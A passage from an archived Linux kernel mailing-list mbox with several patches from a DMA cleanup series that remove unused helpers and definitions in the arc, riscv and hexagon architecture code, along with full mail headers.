X-Trace: blaine.gmane.org 1514535496 21556 195.159.176.226 (29 Dec 2017 08:18:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:18:16 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-arch-owner@vger.kernel.org Fri Dec 29 09:18:10 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1eUprk-0004Ym-Dz
	for glka-linux-arch@m.gmane.org; Fri, 29 Dec 2017 09:18:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755547AbdL2IUH (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Fri, 29 Dec 2017 03:20:07 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:46899 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755644AbdL2IUA (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Fri, 29 Dec 2017 03:20:00 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=N6NAS9/cKCG1uUaXnkVziijkDdPpsEDuILlLpQY1cjY=; b=uUaUxscoEUT4K7KNzFqNYRbhb
        ofuYGpVqgC7X9NaIukHzTrC3kDpPhTnQeL3yyiw1QAd6vtFQFJxNaNQOb/4ETU/UVmXX7MjoZRkLZ
        fflEes7g4b8g7a3xR+Kepw1+v2ZIX+unR/3y5NJzEthf2lII/xQwX6U+uEeR0QDRpJay3cn56JZmG
        fdbkBUHMED8TehCKZBy9EGlmsrPEfip7NtYosiihLaS9N0GhluqQWT7wSOxWfzyKd6X//CaaQu0QW
        qrWJFt4vQWeRR5r7CZnYEWRtXCsxt9jm05V8+QNIa5Rvsr7zuI3j6vUDLYxME8OV3I/E+lhFp3A3l
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUptU-0000Dy-NZ; Fri, 29 Dec 2017 08:19:57 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:40788 gmane.linux.kernel.iommu:21885 gmane.linux.ports.alpha:4552 gmane.linux.kernel.arc:3173 gmane.linux.ports.arm.kernel:622898 gmane.linux.ports.hexagon:1405 gmane.linux.ports.ia64:28395 gmane.linux.kernel.metag:1479 gmane.linux.ports.mips.general:62928 gmane.linux.ports.parisc:28070 gmane.linux.ports.ppc64.devel:151502 gmane.linux.ports.sh.devel:56041 gmane.linux.ports.sparc:27048 gmane.linux.kernel:2654214
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/40788>

We always use the stub definitions, so remove the unused other code.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/arc/Kconfig                   |  3 ---
 arch/arc/include/asm/dma-mapping.h |  7 -------
 arch/arc/mm/dma.c                  | 14 +++++++-------
 3 files changed, 7 insertions(+), 17 deletions(-)

diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
index 9d5fd00d9e91..f3a80cf164cc 100644
--- a/arch/arc/Kconfig
+++ b/arch/arc/Kconfig
@@ -463,9 +463,6 @@ config ARCH_PHYS_ADDR_T_64BIT
 config ARCH_DMA_ADDR_T_64BIT
 	bool
 
-config ARC_PLAT_NEEDS_PHYS_TO_DMA
-	bool
-
 config ARC_KVADDR_SIZE
 	int "Kernel Virtual Address Space size (MB)"
 	range 0 512
diff --git a/arch/arc/include/asm/dma-mapping.h b/arch/arc/include/asm/dma-mapping.h
index 94285031c4fb..7a16824bfe98 100644
--- a/arch/arc/include/asm/dma-mapping.h
+++ b/arch/arc/include/asm/dma-mapping.h
@@ -11,13 +11,6 @@
 #ifndef ASM_ARC_DMA_MAPPING_H
 #define ASM_ARC_DMA_MAPPING_H
 
-#ifndef CONFIG_ARC_PLAT_NEEDS_PHYS_TO_DMA
-#define plat_dma_to_phys(dev, dma_handle) ((phys_addr_t)(dma_handle))
-#define plat_phys_to_dma(dev, paddr) ((dma_addr_t)(paddr))
-#else
-#include <plat/dma.h>
-#endif
-
 extern const struct dma_map_ops arc_dma_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
diff --git a/arch/arc/mm/dma.c b/arch/arc/mm/dma.c
index fad18261ef6a..1d405b86250c 100644
--- a/arch/arc/mm/dma.c
+++ b/arch/arc/mm/dma.c
@@ -60,7 +60,7 @@ static void *arc_dma_alloc(struct device *dev, size_t size,
 	/* This is linear addr (0x8000_0000 based) */
 	paddr = page_to_phys(page);
 
-	*dma_handle = plat_phys_to_dma(dev, paddr);
+	*dma_handle = paddr;
 
 	/* This is kernel Virtual address (0x7000_0000 based) */
 	if (need_kvaddr) {
@@ -92,7 +92,7 @@ static void *arc_dma_alloc(struct device *dev, size_t size,
 static void arc_dma_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_handle, unsigned long attrs)
 {
-	phys_addr_t paddr = plat_dma_to_phys(dev, dma_handle);
+	phys_addr_t paddr = dma_handle;
 	struct page *page = virt_to_page(paddr);
 	int is_non_coh = 1;
 
@@ -111,7 +111,7 @@ static int arc_dma_mmap(struct device *dev, struct vm_area_struct *vma,
 {
 	unsigned long user_count = vma_pages(vma);
 	unsigned long count = PAGE_ALIGN(size) >> PAGE_SHIFT;
-	unsigned long pfn = __phys_to_pfn(plat_dma_to_phys(dev, dma_addr));
+	unsigned long pfn = __phys_to_pfn(dma_addr);
 	unsigned long off = vma->vm_pgoff;
 	int ret = -ENXIO;
 
@@ -175,7 +175,7 @@ static dma_addr_t arc_dma_map_page(struct device *dev, struct page *page,
 	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
 		_dma_cache_sync(paddr, size, dir);
 
-	return plat_phys_to_dma(dev, paddr);
+	return paddr;
 }
 
 /*
@@ -190,7 +190,7 @@ static void arc_dma_unmap_page(struct device *dev, dma_addr_t handle,
 			       size_t size, enum dma_data_direction dir,
 			       unsigned long attrs)
 {
-	phys_addr_t paddr = plat_dma_to_phys(dev, handle);
+	phys_addr_t paddr = handle;
 
 	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
 		_dma_cache_sync(paddr, size, dir);
@@ -224,13 +224,13 @@ static void arc_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
 static void arc_dma_sync_single_for_cpu(struct device *dev,
 		dma_addr_t dma_handle, size_t size, enum dma_data_direction dir)
 {
-	_dma_cache_sync(plat_dma_to_phys(dev, dma_handle), size, DMA_FROM_DEVICE);
+	_dma_cache_sync(dma_handle, size, DMA_FROM_DEVICE);
 }
 
 static void arc_dma_sync_single_for_device(struct device *dev,
 		dma_addr_t dma_handle, size_t size, enum dma_data_direction dir)
 {
-	_dma_cache_sync(plat_dma_to_phys(dev, dma_handle), size, DMA_TO_DEVICE);
+	_dma_cache_sync(dma_handle, size, DMA_TO_DEVICE);
 }
 
 static void arc_dma_sync_sg_for_cpu(struct device *dev,
-- 
2.14.2



From - Thu Nov 08 21:40:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.iommu,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 11/67] riscv: remove the unused dma_capable helper
Date: Fri, 29 Dec 2017 09:18:15 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20171229081911.2802-12-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535500 22307 195.159.176.226 (29 Dec 2017 08:18:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:18:20 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-alpha-owner@vger.kernel.org Fri Dec 29 09:18:14 2017
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1eUpro-0004Ym-Ki
	for lnx-linux-alpha@m.gmane.org; Fri, 29 Dec 2017 09:18:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755759AbdL2IUO (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
        Fri, 29 Dec 2017 03:20:14 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:41701 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755746AbdL2IUI (ORCPT
        <rfc822;linux-alpha@vger.kernel.org>);
        Fri, 29 Dec 2017 03:20:08 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=07RuFC1Zfs8Ezi8EsP/bxOpwvBBEoSJ4OYSPIkkVu+U=; b=ZRvN+J6FJ8CxNIwvclAMyVnUd
        +1WPSEpDaNJWi5O3npPYnEekIIZ+cKXtI9uRYvT2nkut5EMYBO19iyRger7oL4azNjOBmAbLHXd2y
        zAWRJh0ezQNah+vdpsz/jF2uFXt4PTNYJpx4pdP86vbf5qExIqGu967Cx4PAduTF8Yf8LWH8DV/P/
        GPK+XwscVk0U7rIcuXOSE+hYYFK3hjG/BmgTTZ2dkbeTLyk2Y89X3eBWZSQBJgc4YT0BHfQidhaXR
        K/ArTIUWS2ob7vRqZ4PPDwFXe3bB87hy+TQW1DPEw7sAdqBItIDSCJHSqMBEjClTk61Tf4PoYRUB4
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUptd-0000IU-3F; Fri, 29 Dec 2017 08:20:05 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:4553 gmane.linux.kernel.iommu:21886 gmane.linux.kernel.arc:3174 gmane.linux.ports.arm.kernel:622899 gmane.linux.ports.hexagon:1406 gmane.linux.ports.ia64:28396 gmane.linux.kernel.metag:1480 gmane.linux.ports.mips.general:62929 gmane.linux.ports.parisc:28071 gmane.linux.ports.ppc64.devel:151503 gmane.linux.ports.sh.devel:56042 gmane.linux.ports.sparc:27049 gmane.linux.kernel.cross-arch:40789 gmane.linux.kernel:2654215
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/4553>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/riscv/include/asm/dma-mapping.h | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/arch/riscv/include/asm/dma-mapping.h b/arch/riscv/include/asm/dma-mapping.h
index 3eec1000196d..73849e2cc761 100644
--- a/arch/riscv/include/asm/dma-mapping.h
+++ b/arch/riscv/include/asm/dma-mapping.h
@@ -27,12 +27,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &dma_noop_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return false;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
 #endif	/* __ASM_RISCV_DMA_MAPPING_H */
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 06/67] hexagon: remove unused flush_write_buffers definition
Date: Fri, 29 Dec 2017 09:18:10 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20171229081911.2802-7-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535505 23355 195.159.176.226 (29 Dec 2017 08:18:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:18:25 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Fri Dec 29 09:18:19 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eUprk-0004Ym-U8
	for lnx-sparclinux@m.gmane.org; Fri, 29 Dec 2017 09:18:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755735AbdL2IUG (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 29 Dec 2017 03:20:06 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:38029 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755547AbdL2IT4 (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 29 Dec 2017 03:19:56 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=0JuEE1unvevJ5PXqHKEqQaNX4Nl1WkCrydQ4fDGvEz4=; b=MWDluzQz7YabNI2B/3OQy+A2n
        opgvgPhMANbomhkv05tmdnwvwoYYcIkum22hVekDO6tvNuxxrscsvUCo3RN5skSj3vah6qr8Fj8YB
        2x8IpyZZe5zsFp1TcTSA7p822IoxVIb2da/jnAonsTDtgPGHHGC8PbVAs3VFwV47mkmy071OVYGuQ
        XvaJjo53I8NipSsRXEo9MR4dTK8zVI1cKFNJXvoIgaNf8jycE6MIeeOW9IbnsNm8om68g4IpFDbfd
        LgE7FAqk7e/UwOCAcgjhyzRRHJ4SOJABBVrn1T4IfH10lBvFUH7A6/+LJEyO2RhqTzpte/aTxzk5c
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUptH-0008VO-Ly; Fri, 29 Dec 2017 08:19:44 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27050 gmane.linux.kernel.iommu:21887 gmane.linux.ports.alpha:4554 gmane.linux.kernel.arc:3175 gmane.linux.ports.arm.kernel:622900 gmane.linux.ports.hexagon:1407 gmane.linux.ports.ia64:28397 gmane.linux.kernel.metag:1481 gmane.linux.ports.mips.general:62930 gmane.linux.ports.parisc:28072 gmane.linux.ports.ppc64.devel:151504 gmane.linux.ports.sh.devel:56043 gmane.linux.kernel.cross-arch:40790 gmane.linux.kernel:2654216
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27050>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/hexagon/include/asm/io.h | 2 --
 1 file changed, 2 deletions(-)

diff --git a/arch/hexagon/include/asm/io.h b/arch/hexagon/include/asm/io.h
index 66f5e9a61efc..9e8621d94ee9 100644
--- a/arch/hexagon/include/asm/io.h
+++ b/arch/hexagon/include/asm/io.h
@@ -330,8 +330,6 @@ static inline void outsl(unsigned long port, const void *buffer, int count)
 	}
 }
 
-#define flush_write_buffers() do { } while (0)
-
 #endif /* __KERNEL__ */
 
 #endif
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 10/67] m32r: remove the unused dma_capable helper
Date: Fri, 29 Dec 2017 09:18:14 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20171229081911.2802-11-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514535511 24799 195.159.176.226 (29 Dec 2017 08:18:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:18:31 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Dec 29 09:18:25 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eUprr-0005Xy-Mj
	for glki-iommu@m.gmane.org; Fri, 29 Dec 2017 09:18:16 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id E37528E3;
	Fri, 29 Dec 2017 08:20:06 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 20EC68A5
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:20:06 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id A4A00466
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:20:05 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=5m3sWHu0i/1ncT32uHmlD/yLwHLhNTmcfacRCc4qzec=;
	b=fYb8f0GY9YUvWLNhkyoasKX23
	Nkous4rAv+5T2lZpcLCbg7Zvh7tr5rJqi104e+6F48Z7PRpOFSUJEjQysjwiu/ASQmRvFZdIfUPN5
	gy7j4OrP1l9uZJJLxTzppeA4Sp33v437rbvQVBzyihFvP6/ZSzGug+heK4GtHPhMnn8hKJj9xnAu4
	F9c/EwqZDBjMHQaZXRJezX1/glRv8LHD8zkLD18at7L+w/dPdCQfX8F4lVCeZF4nOgbgzAm0lqAhz
	A8cDKBCw2GQo7HlU1ZJCfwd+eUXX5x+y2l8CsPn8E1VtCn+8YDC4VsLFcNlc10O2OnRkai8uniQPK
	AuU97iuAA==;
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eUptY-0000Gn-O2; Fri, 29 Dec 2017 08:20:01 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
